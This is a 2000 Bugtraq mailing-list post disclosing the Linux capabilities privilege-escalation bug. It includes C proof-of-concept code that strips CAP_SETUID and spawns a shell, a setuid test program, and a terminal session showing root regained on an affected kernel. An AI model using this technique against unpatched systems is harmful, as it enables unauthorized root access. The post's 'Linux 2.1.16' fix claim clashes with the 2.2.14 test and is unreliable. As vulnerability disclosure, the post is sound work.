[15258] in bugtraq
the Linux Capabilities bug
daemon@ATHENA.MIT.EDU (Roger Espel Llima)
Thu Jun 8 15:30:29 2000
Mail-Followup-To: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-Id: <20000608165624.A577@rajpur.iagora.es>
Date: Thu, 8 Jun 2000 16:56:24 +0200
Reply-To: Roger Espel Llima <espel@IAGORA.NET>
From: Roger Espel Llima <espel@IAGORA.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
I did some testing about this Linux Capabilities bug; the problem is as
described: random user can take out the capability CAP_SETUID from its
inheritable set, and then execute a suid program. The suid program runs
with full root privileges, *except* that when it does a
setuid(getuid()); (as many suid programs do to give up privileges), it
doesn't reset the saved uid. So the program can later do a setuid(0);,
and get root privs again.
Here's some code to test whether giving up root works:
------- blep.c
#include <stdio.h>
#include <unistd.h>
int main(void)
{
if (geteuid()) {
printf("Run me as root please\n");
exit(1);
}
printf("BEFORE: %d %d\n", getuid(), geteuid());
setuid(getuid());
printf("GAVE UP: %d %d\n", getuid(), geteuid());
setuid(0);
printf("GOT BACK: %d %d\n", getuid(), geteuid());
if (!geteuid() || !getuid()) printf("PROBLEM!!\n");
return 0;
}
And here's code to disable the CAP_SETUID capability:
------- suidcap.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/capability.h>
_syscall2(int, capget, cap_user_header_t, header, cap_user_data_t, dataptr);
_syscall2(int, capset, cap_user_header_t, header, cap_user_data_t, dataptr);
typedef struct __user_cap_header_struct capheader_t;
typedef struct __user_cap_data_struct capdata_t;
void remove_cap(capdata_t *data, int cap) {
data->effective &= ~(1 << cap);
data->permitted &= ~(1 << cap);
data->inheritable &= ~(1 << cap);
}
void cap_get(capheader_t *header, capdata_t *data) {
if (capget(header, data) == 0) return;
perror("capget");
exit(-1);
}
void cap_set(capheader_t *header, capdata_t *data) {
if (capset(header, data) == 0) return;
perror("capset");
exit(-1);
}
main() {
capheader_t header;
capdata_t data;
header.version = _LINUX_CAPABILITY_VERSION;
header.pid = 0;
data.effective = data.permitted = data.inheritable = 0;
cap_get(&header, &data);
remove_cap(&data, CAP_SETUID);
cap_set(&header, &data);
printf("launching shell...\n");
execl("/bin/sh", "/bin/sh", NULL);
perror("execl");
}
And finally here's a demonstration of the problem:
$ uname -s -r
Linux 2.2.14-15mdk
$ gcc blep.c -o blep
$ gcc suidcap.c -o suidcap
$ su
Password:
# chown root.root blep
# chmod 4755 blep
# exit
$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 0
PROBLEM!!
sh-2.03$ exit
Finally, I can confirm that Linux 2.1.16 fixes the problem:
$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
sh-2.03$ exit
--
Roger Espel Llima, espel@iagora.net
http://www.iagora.com/~espel/index.html